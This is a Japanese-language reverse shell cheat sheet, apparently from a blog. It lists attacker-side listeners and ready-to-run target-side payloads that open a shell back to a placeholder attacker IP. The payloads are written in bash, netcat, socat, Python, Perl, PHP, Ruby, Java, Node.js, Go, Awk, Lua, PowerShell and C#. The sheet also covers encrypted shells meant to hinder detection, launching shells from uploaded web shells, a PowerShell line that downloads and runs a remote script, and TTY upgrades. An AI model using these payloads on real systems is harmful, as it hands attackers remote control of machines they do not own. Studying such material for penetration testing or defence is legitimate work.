リバースシェル チートシート

cheatsheet

このチートシートは、様々な環境やツールにおけるリバースシェルの確立手法を目的別にまとめたものです。基本的な手法から応用的な手法まで網羅しています。

リスナーの準備 (攻撃者側) 🎧

リバースシェルを受け付けるために、攻撃者側のマシンでリスナーを起動する必要があります。最も一般的に使用されるのは Netcat (nc) です。

ツールコマンド例説明
Netcat (nc)
nc -lvnp <ポート番号>
指定したポートでTCP接続を待ち受けます。-l: Listenモード, -v: 詳細表示, -n: 名前解決無効, -p: ポート指定。
Socat
socat TCP-LISTEN:<ポート番号>,fork STDOUT
より高機能なNetcat代替。TCP接続を待ち受けます。fork オプションで複数接続に対応可能。
Metasploit Framework (multi/handler)
msfconsole
use exploit/multi/handler
set PAYLOAD <ペイロード種類>
set LHOST <攻撃者IP>
set LPORT <ポート番号>
run
Metasploitを使用してリバースシェルを受け付けます。様々なペイロードに対応可能。Windows/Linuxなどターゲットに合わせたペイロードを指定します (例: windows/shell_reverse_tcp, linux/x86/shell_reverse_tcp)。
OpenSSL (暗号化リスナー)
# オレオレ証明書の生成 (初回のみ)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 3650 -nodes

# リスナー起動
openssl s_server -quiet -key key.pem -cert cert.pem -port <ポート番号>
OpenSSLを使用して暗号化された接続を待ち受けます。通信内容の盗聴を防ぎます。
Socat (暗号化リスナー)
# 証明書生成 (OpenSSLと同様)
openssl req -x509 -newkey rsa:4096 -keyout shell.pem -out shell.pem -days 3650 -nodes

# リスナー起動
socat OPENSSL-LISTEN:<ポート番号>,cert=shell.pem,verify=0,fork STDOUT
Socatで暗号化されたTCP接続を待ち受けます。verify=0 はクライアント証明書の検証を無効にします。

基本的なリバースシェル (ターゲット側) 💻

ターゲットシステム上で実行し、攻撃者のリスナーに接続を確立する基本的なコマンドです。

環境/ツールコマンド例説明
Bash (TCP)
bash -i >& /dev/tcp/<攻撃者IP>/<ポート番号> 0>&1
Bashのネットワークリダイレクト機能を利用します。-iでインタラクティブシェルを起動。標準入出力/エラー出力をTCPソケットにリダイレクトします。一部のBashバージョンでのみ利用可能です。
Bash (TCP, 代替1)
0<&196;exec 196<>/dev/tcp/<攻撃者IP>/<ポート番号>; sh <&196 >&196 2>&196
ファイルディスクリプタ(ここでは196)を利用してTCP接続を確立し、シェルに接続します。/dev/tcp が使えない環境でも `sh` があれば動作する可能性があります。
Bash (UDP)
sh -i >& /dev/udp/<攻撃者IP>/<ポート番号> 0>&1
UDP経由でリバースシェルを確立します。リスナー側もUDPで待機 (nc -lunvp <ポート番号>) する必要があります。
Netcat (nc – Traditional)
nc -e /bin/sh <攻撃者IP> <ポート番号>
nc -e /bin/bash <攻撃者IP> <ポート番号>
nc.exe -e cmd.exe <攻撃者IP> <ポート番号>
(Windows)
Netcatの -e オプションで指定したプログラム (シェル) を接続先にバインドします。注意: このオプションはセキュリティリスクのため、最近のバージョンのNetcatでは削除されていることが多いです。
Netcat (nc – OpenBSD / BusyBox)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <攻撃者IP> <ポート番号> > /tmp/f
rm /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <攻撃者IP> <ポート番号> > /tmp/f
-e オプションがないNetcat向けの手法。名前付きパイプ (FIFO) を利用して、シェルの入出力をNetcat経由でリダイレクトします。mknodmkfifoが使えない環境用です。
Ncat (Nmap付属)
ncat <攻撃者IP> <ポート番号> -e /bin/bash
ncat --udp <攻撃者IP> <ポート番号> -e /bin/bash
(UDP)
Nmapに付属する高機能なNetcat。-e オプションが利用可能です。
Socat
socat TCP:<攻撃者IP>:<ポート番号> EXEC:'bash -li',pty,stderr,setsid,sigint,sane
高機能なNetcat代替。より安定したインタラクティブシェル (PTY) を確立できます。pty,stderr,setsid,sigint,sane オプションで擬似ターミナルを適切に設定します。
Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet <攻撃者IP> <ポート番号> 0</tmp/p | /bin/bash 1>/tmp/p
telnet <攻撃者IP> <ポート番号> | /bin/bash | telnet <攻撃者IP> <別のポート番号>
(2ポート使用)
Telnetクライアントを利用した手法。名前付きパイプを使う方法と、2つのポートを使う方法があります。リスナー側もTelnetに対応している必要があります。

プログラミング言語を利用したリバースシェル (ターゲット側) 🐍🐘💎

ターゲットシステムにインストールされているプログラミング言語の機能を利用してリバースシェルを確立します。

言語コマンド例 / スクリプト説明
Python 🐍
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻撃者IP>",<ポート番号>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Python3 用
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻撃者IP>",<ポート番号>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.run(["/bin/sh","-i"]);'
PythonのsocketライブラリでTCP接続を確立し、os.dup2で標準入出力をソケットにリダイレクト、subprocess.call (または subprocess.run) でシェルを起動します。Python 2/3で若干異なります。Windowsの場合は ["cmd.exe"] などに変更します。
Perl 🐪
perl -e 'use Socket;$i="<攻撃者IP>";$p=<ポート番号>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Windows 用
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<攻撃者IP>:<ポート番号>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>'
PerlのSocketモジュールを利用します。基本的な構造はPythonと同様です。Windows用の短いバージョンもあります。
PHP 🐘
php -r '$sock=fsockopen("<攻撃者IP>",<ポート番号>);exec("/bin/sh -i <&3 >&3 2>&3");'
# 他のファイルディスクリプタを試す場合
php -r '$sock=fsockopen("<攻撃者IP>",<ポート番号>);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
# pentestmonkey のより高機能なスクリプトを使用することも可能
# (別途 php-reverse-shell.php をアップロード)
PHPのfsockopenでソケットを開き、execshell_execでシェルを実行します。ファイルディスクリプタ (<&3) は環境によって変更が必要な場合があります (4, 5…)。より安定した接続のために専用スクリプト (php-reverse-shell) もあります。
Ruby ♦️
ruby -rsocket -e'f=TCPSocket.open("<攻撃者IP>",<ポート番号>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# /bin/sh に依存しないバージョン
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<攻撃者IP>","<ポート番号>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Rubyのsocketライブラリを利用します。ファイルディスクリプタを取得してシェルに渡す方法や、シェルに依存せずコマンドを直接実行する方法があります。
Java ☕
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/<攻撃者IP>/<ポート番号>;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
// より複雑だがクロスプラットフォームな例
String host="<攻撃者IP>";
int port=<ポート番号>;
String cmd="/bin/bash"; // Windowsなら "cmd.exe"
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)so.write(pi.read());
  while(pe.available()>0)so.write(pe.read());
  while(si.available()>0)po.write(si.read());
  so.flush();po.flush();
  Thread.sleep(50);
  try {p.exitValue();break;}catch (IllegalThreadStateException e){}
};p.destroy();s.close();
JavaのRuntime.execまたはProcessBuilderを使用して外部コマンド (Bashや他のシェルスクリプト) を実行し、ソケット接続を確立します。より複雑なコードでプラットフォーム間の互換性を高めることも可能です。
Node.js 🟩
require('child_process').exec('nc -e /bin/sh <攻撃者IP> <ポート番号>')
// Pure JS (net, child_process)
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []); // Windows: cp.spawn("cmd.exe", [])
    var client = new net.Socket();
    client.connect(<ポート番号>, "<攻撃者IP>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js process from exiting.
})();
Node.jsのchild_processモジュールで外部コマンド (ncなど) を実行するか、netモジュールとchild_processを組み合わせて純粋なJavaScriptでリバースシェルを実装します。
Groovy ☕️
String host="<攻撃者IP>";
int port=<ポート番号>;
String cmd="/bin/bash"; // Windows: "cmd.exe"
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)so.write(pi.read());
  while(pe.available()>0)so.write(pe.read());
  while(si.available()>0)po.write(si.read());
  so.flush();po.flush();
  Thread.sleep(50);
  try {p.exitValue();break;}catch (Exception e){}
};p.destroy();s.close();
Javaと同様のコードが利用できます。ProcessBuilderSocketを使用します。
Go 🐹
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","<攻撃者IP>:<ポート番号>");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
GoのnetパッケージでTCP接続し、os/execパッケージでシェルを起動して標準入出力をリダイレクトします。一時ファイルを作成して実行します。
Awk 🐧
awk 'BEGIN {s = "/inet/tcp/0/<攻撃者IP>/<ポート番号>"; while(42) { printf "shell> " |& s; s |& getline c; if(c){ system(c); close(c); } close(s); }}'
Awkのネットワーク機能 (gawkで利用可能) を使ってTCP接続を確立し、対話的にコマンドを実行します。
Lua 🌙
lua -e "require('socket');require('os');t=socket.tcp();t:connect('<攻撃者IP>','<ポート番号>');os.execute('/bin/sh -i <&3 >&3 2>&3');"
# LuaSocket がない場合 (Linuxのみ)
lua -e "local s=require('posix.sys.socket');local AF_INET=s.AF_INET;local SOCK_STREAM=s.SOCK_STREAM;local sock=s.socket(AF_INET,SOCK_STREAM,0);s.connect(sock,s.sockaddr_in(<ポート番号>,'<攻撃者IP>'));for i=0,2 do s.dup2(sock,i) end;os.execute('/bin/sh -i')"
LuaSocketライブラリ、または標準のposixライブラリ (Linux) を使用してソケット接続とシェル実行を行います。

Windows環境向けリバースシェル 🪟

Windows環境に特化したリバースシェル手法です。

ツール/言語コマンド例 / スクリプト説明
PowerShell 💪
$client = New-Object System.Net.Sockets.TCPClient("<攻撃者IP>",<ポート番号>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# 短縮版 (Invoke-Expression ベース)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<攻撃者IP>',<ポート番号>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Nishang's Invoke-PowerShellTcp.ps1 (要ダウンロード/実行)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <攻撃者IP> -Port <ポート番号>
PowerShellの.NET機能 (System.Net.Sockets.TCPClient) を利用してTCP接続を確立し、受信したコマンドをInvoke-Expression (iex) で実行、結果を返します。Nishangなどの有名なPowerShellスクリプトを利用する方法もあります。
C# 🎵
// コンパイルが必要 (.NET Framework)
// using System.Net.Sockets;
// using System.Diagnostics;
// using System.IO;
// using System.Text;

TcpClient client = new TcpClient("<攻撃者IP>", <ポート番号>);
Stream stream = client.GetStream();
StreamReader sr = new StreamReader(stream);
StreamWriter sw = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += (sender, e) => sw.WriteLine(e.Data);
p.ErrorDataReceived += (sender, e) => sw.WriteLine(e.Data);
p.Start();
p.BeginOutputReadLine();
p.BeginErrorReadLine();

while (true)
{
    strInput.Append(sr.ReadLine());
    p.StandardInput.WriteLine(strInput);
    strInput.Remove(0, strInput.Length);
    sw.Flush(); // Ensure data is sent immediately
}
C#でTCPクライアントを作成し、cmd.exeプロセスを起動してその標準入出力をソケットに接続します。実行には.NET Frameworkが必要です。コードをコンパイルしてexeファイルとしてターゲット上で実行します。

通信経路を暗号化し、盗聴や検知を困難にする手法です。

ツールコマンド例 (ターゲット側)リスナー側の準備説明
OpenSSL
mkfifo /tmp/p; /bin/sh -i < /tmp/p 2>&1 | openssl s_client -quiet -connect <攻撃者IP>:<ポート番号> > /tmp/p; rm /tmp/p
# 証明書生成 (初回)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 3650 -nodes
# リスナー起動
openssl s_server -quiet -key key.pem -cert cert.pem -port <ポート番号>
OpenSSLクライアント (s_client) を利用して暗号化された接続を確立します。名前付きパイプを使ってシェルの入出力をリダイレクトします。リスナー側はs_serverで待ち受けます。
Socat (OpenSSL利用)
socat OPENSSL:<攻撃者IP>:<ポート番号>,verify=0 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
# 証明書生成 (OpenSSLと同様)
openssl req -x509 -newkey rsa:4096 -keyout shell.pem -out shell.pem -days 3650 -nodes
# リスナー起動
socat OPENSSL-LISTEN:<ポート番号>,cert=shell.pem,verify=0,fork STDOUT
Socat自体がOpenSSLライブラリを使った暗号化接続をサポートしています。verify=0でサーバー証明書の検証をスキップします (オレオレ証明書用)。PTYオプションも利用可能です。

Webシェル経由のリバースシェル 🌐

WebサーバーにアップロードしたWebシェルからリバースシェルを起動する手法です。

Webシェル言語実行コマンド例 (Webシェル経由で)説明
PHP
# 上記の PHP リバースシェルコマンドを実行
php -r '$sock=fsockopen("<攻撃者IP>",<ポート番号>);exec("/bin/sh -i <&3 >&3 2>&3");'
# または Netcat コマンドなど
nc -e /bin/bash <攻撃者IP> <ポート番号>
Webシェルが提供するコマンド実行機能を使って、上記で紹介した各種リバースシェルコマンド (PHP, nc, Python等) を実行します。Webサーバーの実行ユーザー権限 (例: www-data, apache) でシェルが起動します。
ASP / ASPX
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<攻撃者IP>',<ポート番号>);..."
C:\Windows\System32\cmd.exe /c nc.exe -e cmd.exe <攻撃者IP> <ポート番号>
ASP/ASPX WebシェルからPowerShellやcmd.exe経由でリバースシェルコマンドを実行します。ターゲットに nc.exe や PowerShell が存在する必要があります。
JSP
/bin/bash -c 'bash -i >& /dev/tcp/<攻撃者IP>/<ポート番号> 0>&1'
// JSP内でJavaコードを実行
Runtime.getRuntime().exec("/bin/bash -c 'exec 5<>/dev/tcp/<攻撃者IP>/<ポート番号>;cat <&5 | while read line; do $line 2>&5 >&5; done'");
JSP Webシェルから直接シェルコマンドを実行するか、JSP内でJavaコードを実行してリバースシェルを起動します。LinuxサーバーならBash、Windowsサーバーならcmd.exe/PowerShellがターゲットになります。

⚠️ 注意: Webシェル自体がバックドアとして機能します。Webシェルからリバースシェルを起動する場合、Webサーバープロセスの権限でシェルが動作することに留意してください。

TTY (インタラクティブシェル) のアップグレード ✨

基本的なリバースシェル (Dumb Shell) は、タブ補完やCtrl+Cなどが機能しない場合があります。より完全なインタラクティブシェル (TTY) にアップグレードする手法です。

手法ターゲット側で実行攻撃者側で実行説明
Python PTY Spawn
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
(特になし)ターゲットにPythonがインストールされている場合、pty.spawn を使って擬似ターミナルを生成します。最も一般的で簡単な方法の一つです。
script コマンド
script /dev/null -c /bin/bash
script -qc /bin/bash /dev/null
(特になし)script コマンドはセッションの記録に使われますが、擬似ターミナルを生成するためにも利用できます。
Socat を利用(Socatで接続時にPTYオプションを指定)
socat file:`tty`,raw,echo=0 TCP-LISTEN:<ポート番号>
Socatで接続する際にPTY関連のオプションを指定することで、最初からインタラクティブシェルを確立できます。リスナー側でもttyに接続する設定が必要です。
stty を利用 (手動) (シェル取得後)
  1. Ctrl+Z (シェルをバックグラウンドへ)
  2. (ターゲット側で何もせず攻撃者側へ)
  3. (シェル取得後)
    reset
    export SHELL=bash
    export TERM=xterm-256color
    stty rows <行数> cols <列数>
(シェル取得後)
  1. (ターゲット側で Ctrl+Z 実行後)
    stty raw -echo; fg
  2. (Enterキーを押す)
  3. (ターゲット側で reset 等実行後)
すでに確立したDumb Shellを、sttyコマンドとシェルのバックグラウンド/フォアグラウンド機能を使って手動でアップグレードします。攻撃者側のターミナルサイズに合わせてstty rows colsを設定します。

コメント

タイトルとURLをコピーしました